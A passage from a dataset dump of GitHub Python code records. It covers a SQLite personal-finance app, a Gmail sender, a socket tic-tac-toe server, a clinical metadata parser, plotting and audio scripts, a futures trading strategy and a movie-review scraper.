LIKE ? and mes LIKE ? and ano LIKE ? and categoria != 'CARTAO' order by dia\"\n self.cursor.execute(sql, (vtipo, vmes, vano))\n # , '2022', '09'\n\n retorno = []\n retorno.append(f'conta \\t\\t\\tcategoria: \\t\\tParcela:\\t\\tValor\\t\\tVencimento\\tSituação:'\n )\n for linha in self.cursor.fetchall():\n id = str(linha[0]) + ':'\n conta = linha[1]\n valor = linha[2]\n\n parcela = linha[3]\n ano = linha[4]\n mes = linha[5]\n dia = linha[6]\n situacao = linha[7]\n tipo = linha[8]\n categoria = linha[9]\n\n retorno.append(f'{conta: <33} \\t{str(categoria): <20}\\t\\t {str(parcela): <10} \\tR${valor: <10} \\t{str(dia)}-{str(mes)}-{str(ano)} \\t{situacao}\\t\\t\\t:{str(id)}'\n )\n sql = f'Select sum(valor) from Contas where tipo == \"PAGAR\" and mes == \"{vmes}\" and ano == \"{vano}\" and categoria==\"CARTAO\"'\n self.cursor.execute(sql)\n\n for linha in self.cursor.fetchall():\n total_cartao = linha[0]\n\n if total_cartao and vtipo == 'PAGAR' and not credito:\n\n retorno.append(\n f'CARTÃO DE CRÉDITO\\t\\t\\t\\t\\t\\tR${round(total_cartao,2)}')\n\n return retorno\n\n def exibeResumo(self, mes, ano):\n sql = f'Select sum(valor) from Contas where tipo == \"PAGAR\" and mes == \"{mes}\" and ano == \"{ano}\"'\n self.cursor.execute(sql)\n for linha in self.cursor.fetchall():\n total_pagar = linha[0]\n sql = f'Select sum(valor) from Contas where tipo == \"RECEBER\" and mes == \"{mes}\" and ano == \"{ano}\"'\n self.cursor.execute(sql)\n for linha in self.cursor.fetchall():\n total_receber = linha[0]\n sql = f'Select sum(valor) from Contas where tipo == \"PAGAR\" and situacao ==\"PAGO\" and mes == \"{mes}\" and ano == \"{ano}\"'\n self.cursor.execute(sql)\n for linha in self.cursor.fetchall():\n total_pago = linha[0]\n sql = f'Select sum(valor) from Contas where tipo == \"PAGAR\" and situacao ==\"\" and mes == \"{mes}\" and ano == \"{ano}\"'\n self.cursor.execute(sql)\n for linha in self.cursor.fetchall():\n total_a_pagar = linha[0]\n sql = f'Select sum(valor) from Contas where tipo == \"PAGAR\" and mes == \"{mes}\" and ano == \"{ano}\" and categoria==\"CARTAO\"'\n self.cursor.execute(sql)\n for linha in self.cursor.fetchall():\n total_cartao = linha[0]\n\n if not total_a_pagar:\n total_a_pagar = \"0.00\"\n else:\n total_a_pagar = round(total_a_pagar, 2)\n if not total_pagar:\n total_pagar = \"0.00\"\n else:\n total_pagar = round(total_pagar, 2)\n if not total_pago:\n total_pago = \"0.00\"\n else:\n total_pago = round(total_pago, 2)\n if not total_receber:\n total_receber = \"0.00\"\n else:\n total_receber = round(total_receber, 2)\n if not total_cartao:\n total_cartao = \"0.00\"\n else:\n total_cartao = round(total_cartao, 2)\n\n # # gera o grafico\n # cars = ['RECEBER', 'PAGAR']\n\n # data = [total_receber, total_pagar]\n # fig = plt.figure(figsize=(10, 7))\n # plt.title(f'Gráfico de {mes}/{ano}')\n # plt.pie(data, labels=cars)\n # plt.savefig('grafico.jpg')\n try:\n os.remove('grafico.jpg')\n print('removido')\n except:\n pass\n\n # Pie chart\n labels = ['RECEBER', 'PAGAR']\n sizes = [total_receber, total_pagar]\n # colors\n colors = ['#66b3ff', '#ff9999']\n # explsion\n explode = (0.05, 0.05)\n\n plt.pie(sizes, colors=colors, autopct='%1.1f%%',\n startangle=90, pctdistance=0.85, explode=explode)\n\n # draw circle\n # centre_circle = plt.Circle((0, 0), 0.70, fc='white')\n fig = plt.gcf()\n # fig.gca().add_artist(centre_circle)\n # Equal aspect ratio ensures that pie is drawn as a circle\n # ax1.axis('equal')\n plt.rcParams.update({'font.size': 16})\n plt.tight_layout()\n\n plt.savefig('grafico.png', transparent=True)\n plt.close()\n\n return f'Resumo do Mês {mes}/{ano}\\n\\nTotal a receber R${total_receber}\\nTotal a pagar R${total_pagar}\\nTotal Cartão Crédito R${total_cartao}\\nTotal pago R${total_pago}\\nFalta pagar R${total_a_pagar}\\n'\n\n\nif __name__ == '__main__':\n a = Contas('db_contas.db')\n a.criartabela()\n # print(a.exibeResumo(10, 2022))\n # a.editar(8, '1salario', '100.00', '3/5', '2002',\n # '11', '31', 'ok', 'receber', 'casa')\n # print(a.listar_tudo())\n # print(a.buscar_tipos('receber', '11', '2002'))\n a.listar_id('11')\n # a.inserir('1salario', '100.00', '5', '2002',\n # '09', '31', '', 'receber', 'casa')\n", "repo_name": "chriscoliveira/python_contas", "sub_path": "funcoes.py", "file_name": "funcoes.py", "file_ext": "py", "file_size_in_byte": 8578, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sqlite3.connect", "line_number": 14, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 175, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.pie", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 188, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 193, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 193, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams.update", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 197, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 197, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 198, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 198, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 200, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 200, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 201, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 201, "usage_type": "name"}]} +{"seq_id": "74141330249", "text": "import base64\nimport pickle\nimport os\nfrom typing import Dict\nfrom logging import Logger\n\nfrom email.mime.text import MIMEText\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom googleapiclient.discovery import build\nfrom google.auth.transport.requests import Request\nfrom requests import HTTPError\n\n\nclass EmailSender:\n def __init__(self, config: Dict[str, str], logger: Logger):\n self.config = config\n self.logger = logger\n\n self.SCOPES = [\"https://www.googleapis.com/auth/gmail.send\"]\n\n creds = None\n if os.path.exists(\"token.pickle\"):\n with open(\"token.pickle\", \"rb\") as token:\n creds = pickle.load(token)\n\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file(\n self.config.get(\"CRED_PATH\"), self.SCOPES)\n creds = flow.run_local_server(port=0)\n\n with open('token.pickle', 'wb') as token:\n pickle.dump(creds, token)\n\n self.service = build(\"gmail\", \"v1\", credentials=creds)\n\n async def send_tw_link(self, email: str, product: str, product_link: str):\n product_name = product.replace(\"+\", \" \")\n\n message = MIMEText(self.config.get(\"EMAIL_TW_BODY\").format(\n product_name=product_name,\n product_link=product_link))\n message[\"to\"] = email\n message[\"subject\"] = self.config.get(\"EMAIL_TW_SUBJECT\").format(product_name=product_name)\n create_message = {\"raw\": base64.urlsafe_b64encode(message.as_bytes()).decode()}\n\n try:\n self.service.users().messages().send(userId=\"me\", body=create_message).execute()\n self.logger.info(f\"Sent link to {product_name} to {email}.\")\n except HTTPError as error:\n self.logger.info(f\"An error occurred when sending link to {product_name} to {email}: {str(error)}\")\n", "repo_name": "Vladimir-Ermolenko/ai-biz", "sub_path": "utils/email_sender.py", "file_name": "email_sender.py", "file_ext": "py", "file_size_in_byte": 2013, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.Dict", "line_number": 15, "usage_type": "name"}, {"api_name": "logging.Logger", "line_number": 15, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 24, "usage_type": "call"}, {"api_name": "google.auth.transport.requests.Request", "line_number": 28, "usage_type": "call"}, {"api_name": "google_auth_oauthlib.flow.InstalledAppFlow.from_client_secrets_file", "line_number": 30, "usage_type": "call"}, {"api_name": "google_auth_oauthlib.flow.InstalledAppFlow", "line_number": 30, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 35, "usage_type": "call"}, {"api_name": "googleapiclient.discovery.build", "line_number": 37, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 42, "usage_type": "call"}, {"api_name": "email.mime.text", "line_number": 45, "usage_type": "name"}, {"api_name": "base64.urlsafe_b64encode", "line_number": 47, "usage_type": "call"}, {"api_name": "email.mime.text", "line_number": 51, "usage_type": "name"}, {"api_name": "requests.HTTPError", "line_number": 52, "usage_type": "name"}, {"api_name": "email.mime.text", "line_number": 53, "usage_type": "name"}]} +{"seq_id": "40641948396", "text": "import pygame\nfrom grid import Grid\n\nsurface = pygame.display.set_mode((600,600))\npygame.display.set_caption('Tic-tac-toe server')\n\nimport threading\n\ndef create_thread(target):\n thread = threading.Thread(target=target)\n thread.daemon = True\n thread.start()\n\n\nimport socket\n\nHOST = '127.0.0.1'\nPORT = 5555\nconnection_established = False\nconn , addr = None, None\n\nsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\nsock.bind((HOST,PORT))\nsock.listen(2)\n\n\ndef receive_data():\n while True:\n data = conn.recv(1024).decode()\n print(data)\ndef waiting_for_connection():\n global connection_established, conn, addr\n conn, addr= sock.accept()# blocking command\n print('client is connected')\n connection_established = True\n receive_data()\n\ncreate_thread(waiting_for_connection)\n\ngrid = Grid()\n\nrunning = True\nplayer = \"x\"\n\nwhile running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n\n if event.type == pygame.MOUSEBUTTONDOWN and connection_established: \n if pygame.mouse.get_pressed()[0]:\n pos = pygame.mouse.get_pos()\n cellX, cellY = pos[0] // 200, pos[1] // 200\n grid.get_mouse(cellX, cellY, player)\n send_data = '{}-{}'.format(cellX, cellY).encode()\n conn.send(send_data)\n if player == \"x\":\n player = \"o\" \n else:\n player = \"x\"\n\n grid.print_grid()\n\n surface.fill((0,0,0))\n\n grid.draw(surface)\n\n pygame.display.flip()", "repo_name": "Muia23/tic-tac", "sub_path": "server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 1625, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pygame.display.set_mode", "line_number": 4, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 4, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 5, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 5, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 10, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 22, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 22, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 22, "usage_type": "attribute"}, {"api_name": "grid.Grid", "line_number": 40, "usage_type": "call"}, {"api_name": "pygame.event.get", "line_number": 46, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pressed", "line_number": 51, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 52, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 52, "usage_type": "attribute"}, {"api_name": "grid.get_mouse", "line_number": 54, "usage_type": "call"}, {"api_name": "grid.print_grid", "line_number": 62, "usage_type": "call"}, {"api_name": "grid.draw", "line_number": 66, "usage_type": "call"}, {"api_name": "pygame.display.flip", "line_number": 68, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 68, "usage_type": "attribute"}]} +{"seq_id": "36270009756", "text": "\"\"\"Parsers for extracting extra metadata from files containing molecular data.\"\"\"\nimport logging\nimport re\nfrom codecs import BOM_UTF8\nfrom typing import BinaryIO\n\nimport openpyxl\nimport pandas as pd\n\nfrom ..json_validation import load_and_validate_schema\n\nlogger = logging.getLogger(__file__)\n\n# Build a regex from the CIMAC ID pattern in the schema\ncimac_id_regex = re.compile(\n load_and_validate_schema(\"sample.json\")[\"properties\"][\"cimac_id\"][\"pattern\"]\n)\ncimac_partid_regex = re.compile(\n load_and_validate_schema(\"participant.json\")[\"properties\"][\"cimac_participant_id\"][\n \"pattern\"\n ]\n)\n\n\ndef parse_elisa(xlsx: BinaryIO) -> dict:\n \"\"\"\n Parses the given ELISA grand serology results file to extract a list of sample IDs.\n If the file is not valid NPX but still xlsx the function will\n return a dict containing an empty list. Sample IDs not conforming to the CIMAC ID\n format will be skipped. The function will pass along any IO errors.\n Args:\n xlsx: an opened NPX file\n Returns:\n arg1: a dict of containing list of sample IDs and number of samples\n \"\"\"\n\n # load the file\n if type(xlsx) == str:\n raise TypeError(f\"parse_npx only accepts BinaryIO and not file paths\")\n\n workbook = openpyxl.load_workbook(xlsx)\n\n # extract data to python\n ids = []\n worksheet = workbook[workbook.sheetnames[0]]\n\n idx = 0\n for i, row in enumerate(worksheet.iter_rows()):\n if i == 0:\n # find the one that looks like CIMAC ID\n # ignore case, switch underscores to spaces\n values = [\n str(i.value).upper().strip().replace(\"_\", \" \") if str(i.value) else \"\"\n for i in row\n ]\n assert any([\"CIMAC ID\" == i for i in values])\n idx = values.index(\"CIMAC ID\")\n continue\n\n val = row[idx].value\n\n if val:\n if cimac_id_regex.match(val):\n ids.append(val)\n\n sample_count = len(ids)\n\n samples = {\"samples\": ids, \"number_of_samples\": sample_count}\n\n return samples\n\n\ndef parse_npx(xlsx: BinaryIO) -> dict:\n \"\"\"\n Parses the given NPX file from olink to extract a list of sample IDs.\n If the file is not valid NPX but still xlsx the function will\n return a dict containing an empty list. Sample IDs not conforming to the CIMAC ID\n format will be skipped. The function will pass along any IO errors.\n Args:\n xlsx: an opened NPX file\n Returns:\n arg1: a dict of containing list of sample IDs and number of samples\n Raises:\n TypeError if xlsx is not a BinaryIO\n ValueError if the second row doesn't start with \"NPX data\"\n \"\"\"\n\n # load the file\n if type(xlsx) == str:\n raise TypeError(f\"parse_npx only accepts BinaryIO and not file paths\")\n\n workbook = openpyxl.load_workbook(xlsx)\n\n # extract data to python\n ids = []\n for worksheet_name in workbook.sheetnames:\n\n # simplify.\n worksheet = workbook[worksheet_name]\n seen_onlinkid = False\n for i, row in enumerate(worksheet.iter_rows()):\n\n # extract values from row\n vals = [col.value for col in row]\n\n first_cell = vals[0]\n\n # skip empty\n if len(vals) == 0 or first_cell is None:\n continue\n\n # find OlinkID to locate the first data row\n if not seen_onlinkid:\n # check that this is actually an NPX file\n if i == 1 and first_cell != \"NPX data\":\n raise ValueError(\"parse_npx got a file that is not in NPX format\")\n\n # check if we are starting ids\n # use this to capture cases where the column name changes in spacing / capitalization\n ## needed because some data has 'OlinkID' while the standard seems to call for 'Olink ID'\n if str(first_cell).lower().replace(\" \", \"\") == \"olinkid\":\n seen_onlinkid = True\n continue\n\n # once it's found keep getting ids until we're done\n else:\n # check if we are done.\n if first_cell == \"LOD\":\n break\n\n # otherwise get the identifier\n # and check that it is a CIMAC ID\n if cimac_id_regex.match(first_cell):\n ids.append(first_cell)\n\n sample_count = len(ids)\n\n samples = {\"samples\": ids, \"number_of_samples\": sample_count}\n\n return samples\n\n\ndef parse_clinical(file: BinaryIO) -> dict:\n \"\"\"\n Parses the given clinical file to extract a list of participant IDs.\n By convention the first column should be \"cimac_part_id\" for files containing\n clinical data keyed to a specific participant. All tabs in each XLSX need to be checked\n however some tabs may contain supporting information so not having cimac_part_id is OK.\n Additionally some entire files may contain supporting information so not having any\n cimac_part_id is also OK.\n\n Also clinical data may contain information for particpants with no CIMAC IDs. For now\n these are simply skipped in our counting.\n\n Args:\n file: an opened clinical data file, either xlsx or csv\n Returns:\n arg1: a dict of containing list of participant IDs and number of participants\n Raises:\n TypeError if file is not a BinaryIO\n \"\"\"\n # load the file\n if type(file) == str:\n raise TypeError(f\"parse_clinical only accepts BinaryIO and not file paths\")\n\n ids = set()\n\n try:\n workbook = openpyxl.load_workbook(file)\n assert len(workbook.sheetnames) > 0\n except:\n\n # seek back to the beginning of the file\n file.seek(0)\n\n # if it starts with a version, just skip it\n # via API, pandas still reads it even if we don't seek back\n # so instead pass as skiprows\n firstline = file.readline()\n # handle an edge case where the file starts with a Byte Order Mark\n if firstline.startswith(BOM_UTF8):\n firstline = firstline[len(BOM_UTF8) :]\n skiprows: int = int(\n firstline.startswith(b'\"version\",') or firstline.startswith(b\"version,\")\n )\n file.seek(0)\n\n try:\n csv = pd.read_csv(file, skiprows=skiprows)\n except Exception as e:\n logger.error(\"Error parsing clinical file: could not read as Excel or CSV\")\n if hasattr(file, \"name\"):\n logger.error(f\"filename: {file.name}\")\n logger.error(str(e), exc_info=True)\n return {}\n else:\n if \"cimac_part_id\" in csv.columns:\n for possible_id in csv[\"cimac_part_id\"].unique():\n if cimac_partid_regex.match(str(possible_id)):\n ids.add(possible_id)\n else:\n logger.error(\n \"Error parsing clinical CSV file: no cimac_part_id column found\"\n )\n logger.error(f\"Only found: {', '.join(list(csv.columns))}\")\n\n else:\n # extract data to python\n for worksheet_name in workbook.sheetnames:\n\n # simplify.\n worksheet = workbook[worksheet_name]\n\n # iterate through all possible columns to find all cimac_part_id's\n # title must be in top 2 rows\n for column in worksheet.iter_cols(1, worksheet.max_column):\n # also check second row in case of version row\n # won't match the regex and title will be ignored\n possible_titles = (\n {column[0].value}\n if len(column) == 1\n else {cell.value for cell in column[:2]}\n )\n if \"cimac_part_id\" in possible_titles:\n for cell in column:\n # some participant ID's might be blank for\n # participants not in the system already (skip these for now)\n if cell.value == \"\" or not cell.value:\n continue\n\n # get the identifier\n # check that it is a CIMAC PART ID\n if cimac_partid_regex.match(str(cell.value)):\n ids.add(cell.value)\n\n part_count = len(ids)\n\n parts = {\"participants\": list(ids), \"number_of_participants\": part_count}\n\n return parts\n\n\nEXTRA_METADATA_PARSERS = {\n \"olink\": parse_npx,\n \"elisa\": parse_elisa,\n \"clinical_data\": parse_clinical,\n}\n", "repo_name": "CIMAC-CIDC/cidc-schemas", "sub_path": "cidc_schemas/prism/extra_metadata.py", "file_name": "extra_metadata.py", "file_ext": "py", "file_size_in_byte": 8558, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 15, "usage_type": "call"}, {"api_name": "json_validation.load_and_validate_schema", "line_number": 16, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 18, "usage_type": "call"}, {"api_name": "json_validation.load_and_validate_schema", "line_number": 19, "usage_type": "call"}, {"api_name": "typing.BinaryIO", "line_number": 25, "usage_type": "name"}, {"api_name": "openpyxl.load_workbook", "line_number": 41, "usage_type": "call"}, {"api_name": "typing.BinaryIO", "line_number": 73, "usage_type": "name"}, {"api_name": "openpyxl.load_workbook", "line_number": 92, "usage_type": "call"}, {"api_name": "typing.BinaryIO", "line_number": 143, "usage_type": "name"}, {"api_name": "openpyxl.load_workbook", "line_number": 169, "usage_type": "call"}, {"api_name": "codecs.BOM_UTF8", "line_number": 181, "usage_type": "argument"}, {"api_name": "codecs.BOM_UTF8", "line_number": 182, "usage_type": "argument"}, {"api_name": "pandas.read_csv", "line_number": 189, "usage_type": "call"}]} +{"seq_id": "23883423341", "text": "import collections\nimport matplotlib.pyplot as plt\n\n# set no error phase syndrome\nphase_syndrome = '000000'\n# set the post-processed measurement outcomes\ncounts_dict = {}\n# set the number of data qubits used \nnum_qubits = 14\n# set the number of syndrome qubits used\nnum_syndrome = 6\n\n# all the steane codewords from encoded program\nfirst_steane_codewords = ['0000000','1010101','0110011','1100110','0001111','1011010','0111100','1101001']\nsecond_steane_codewords = ['0000000', '1110000', '1001100', '0111100', '0101010', '1011010', '1100110', '0010110', '1101001', '0011001', '0100101', '1010101', '1000011', '0110011', '0001111', '1111111']\ncodeword_combos = [x+y for x in first_steane_codewords for y in second_steane_codewords]\n\nd = collections.OrderedDict(sorted(counts_dict.items()))\ncount = 0\n# set color of all the wrong measurement outcomes\ncolors = ['lightgray']*len(d)\npatterns = ['']*len(d)\nfor key, val in d.items():\n if phase_syndrome == key[-num_syndrome:]:\n if key[:num_qubits] in codeword_combos:\n # set color of all the right measurement outcomes\n colors[count]= \"black\"\n count = count +1 \nx_vals = list(d.keys())\ny_vals = list(d.values())\n\nplt.figure(figsize=(20,14))\nfor i in range(len(d)):\n plt.bar(x_vals[i], y_vals[i], color=colors[i])\nplt.xticks(fontsize=18, rotation=90)\nplt.yticks(fontsize=18)\nplt.xlabel('Measurement Values', fontsize=25)\nplt.ylabel('Probability', fontsize=25)\nplt.title('Quantum Computer without Err Mit', fontsize=30)\nplt.show()", "repo_name": "wsherry/QuantumPasswordAuthentication", "sub_path": "Python code/Post-processing and graphing/graphing_example.py", "file_name": "graphing_example.py", "file_ext": "py", "file_size_in_byte": 1489, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "collections.OrderedDict", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}]} +{"seq_id": "73664284167", "text": "# Import Python modules\nfrom random import randrange\n\n# Import pydub\nfrom pydub import AudioSegment\nfrom pydub.playback import play\n\n# Create an pydub audio segment object and fill it with your audio file\nsong = AudioSegment.from_file(\"insert_filename_here.wav\") # replace insert_filename_here with your audio file\n\n# Find the duration\nduration_in_milliseconds = len(song)\n\n# Randomly slice the song (needs to be an integer)\nstart_point = randrange(int(duration_in_milliseconds / 2))\nendpoint = randrange(int(start_point + (duration_in_milliseconds / 2)))\n\n# Remove parts of song outside slice\nsliced_song = song[start_point:endpoint]\n\n# 2 sec fade in, 3 sec fade out (notice we make a unique version for each mod)\nfade_sliced_song = sliced_song.fade_in(2000).fade_out(3000)\n\n# Reverse the song as a new file\nbackwards_fade_sliced_song = fade_sliced_song.reverse()\n\n# Speed up 2x as a new file\nfast_backwards_fade_sliced_song = backwards_fade_sliced_song.speedup(2)\n\n# Play the song\nplay(fast_backwards_fade_sliced_song)\n", "repo_name": "CreativeCoding/course", "sub_path": "audio-pydub-2.py", "file_name": "audio-pydub-2.py", "file_ext": "py", "file_size_in_byte": 1022, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pydub.AudioSegment.from_file", "line_number": 9, "usage_type": "call"}, {"api_name": "pydub.AudioSegment", "line_number": 9, "usage_type": "name"}, {"api_name": "random.randrange", "line_number": 15, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 16, "usage_type": "call"}, {"api_name": "pydub.playback.play", "line_number": 31, "usage_type": "call"}]} +{"seq_id": "25147747551", "text": "'''backtest\nstart: 2019-01-01 09:00:00\nend: 2021-01-01 15:00:00\nperiod: 1h\nbasePeriod: 15m\nexchanges: [{\"eid\":\"Futures_CTP\",\"currency\":\"FUTURES\"}]\n'''\n\nimport talib\nimport numpy as np\n\nposition = 0\n\ndef onTick():\n global position\n bar = ext.get_record('ZC000', 100)\n if not bar:\n return\n arr = np.array(ext.get_data(bar, ['High', 'Low']))\n aroon = talib.AROON(arr[0], arr[1], period)\n aroon_up = aroon[1][-2]\n aroon_down = aroon[0][-2]\n last = bar[-1].Close\n \n if position == 0:\n if aroon_up > aroon_down and aroon_up > 50:\n position = ext.Trade(position, 'buy', last)\n if aroon_up < aroon_down and aroon_down > 50:\n position = ext.Trade(position, 'sell', last)\n if position == 1 and (aroon_up < aroon_down or aroon_up < 50):\n position = ext.Trade(position, 'closebuy', last)\n if position == -1 and (aroon_up > aroon_down or aroon_down < 50):\n position = ext.Trade(position, 'closesell', last) \n \ndef main():\n while True:\n onTick()\n Sleep(1000)", "repo_name": "jerry9692/FMZ_strategy", "sub_path": "7-AROON策略.py", "file_name": "7-AROON策略.py", "file_ext": "py", "file_size_in_byte": 1060, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.array", "line_number": 19, "usage_type": "call"}, {"api_name": "talib.AROON", "line_number": 20, "usage_type": "call"}]} +{"seq_id": "1628125289", "text": "import requests\r\nfrom bs4 import BeautifulSoup\r\nfrom selenium import webdriver\r\n\r\nf = open('스파이더맨.txt', 'w', encoding='utf-8')\r\n\r\n\r\ndriver = webdriver.Chrome('C:/Users/jack1/Desktop/import/chromedriver_win32/chromedriver')\r\n\r\nfor i in range(1, 11):\r\n for j in range(1, 11):\r\n driver.get('https://movie.naver.com/movie/point/af/list.nhn?st=mcode&sword=173123&target=after&page=' + str(i))\r\n html = driver.page_source\r\n soup = BeautifulSoup(html, 'html.parser')\r\n\r\n notices1 = soup.select('#old_content > table > tbody > tr:nth-of-type(' + str(j) + ')> td.title')\r\n\r\n for n in notices1:\r\n a = n.text.strip()\r\n a = str(a).replace(\"신고\", \"\")\r\n a = str(a).replace(\",\", \"\")\r\n f.write(str(a)+',')\r\n\r\nf.close()\r\n", "repo_name": "jack1575/my_own_project", "sub_path": "스파이더맨.py", "file_name": "스파이더맨.py", "file_ext": "py", "file_size_in_byte": 795, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 8, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 8, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "851732105", "text": "import numpy as np\r\nimport pandas as pd\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.stats import norm\r\n\r\n# df = pd.read_csv(\"../alzheimer/alzheimer.csv\")\r\ndf = pd.read_csv(\"../alzheimer/Copy_alz.csv\")\r\n\r\n\r\ndf['M/F'] = df['M/F'].map({'M': 1, 'F': 0})\r\ndf['Group'] = df['Group'].map({'Demented': 1, 'Nondemented': 0})\r\n# print(df['M/F'])\r\n\r\ndf[\"SES\"].fillna(df[\"SES\"].median(), inplace=True)\r\ndf[\"MMSE\"].fillna(df[\"MMSE\"].mean(), inplace=True)\r\n# print(df.isna().sum())\r\n\r\n\r\n#AGE \r\nplt.hist(df['Age-classification'])\r\nplt.show()\r\n\r\n\r\n# Standard deviation and mean\r\nstd = np.std(df['Age-classification'],ddof=1)\r\nmean = np.mean(df['Age-classification'])\r\n\r\n# plotting\r\ndomain = np.linspace(np.min(df['Age-classification']),np.max(df['Age-classification']))\r\nplt.plot(domain, norm.pdf(domain, mean, std),\r\nlabel = '$\\mathcal{N}$' + f'$(\\mu \\\\approx{round(mean)}, \\sigma\\\\approx{round(std)} )$')\r\nplt.hist(df['Age-classification'], edgecolor='black', alpha = .5, density = True )\r\nplt.title('Age')\r\nplt.xlabel('Value')\r\nplt.ylabel('Density')\r\nplt.legend()\r\nplt.show()\r\n\r\n\r\n\r\n#SES \r\nplt.hist(df['SES'])\r\nplt.show()\r\n\r\n\r\n# Standard deviation and mean\r\nstd = np.std(df['SES'],ddof=1)\r\nmean = np.mean(df['SES'])\r\n\r\n# plotting\r\ndomain = np.linspace(np.min(df['SES']),np.max(df['SES']))\r\nplt.plot(domain, norm.pdf(domain, mean, std),\r\nlabel = '$\\mathcal{N}$' + f'$(\\mu \\\\approx{round(mean)}, \\sigma\\\\approx{round(std)} )$')\r\nplt.hist(df['SES'], edgecolor='black', alpha = .5, density = True )\r\nplt.title('SES')\r\nplt.xlabel('Value')\r\nplt.ylabel('Density')\r\nplt.legend()\r\nplt.show()\r\n\r\n\r\n\r\n \r\n", "repo_name": "Saradhakal/MachineLearning", "sub_path": "trial_gaussian.py", "file_name": "trial_gaussian.py", "file_ext": "py", "file_size_in_byte": 1610, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pandas.read_csv", "line_number": 8, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": 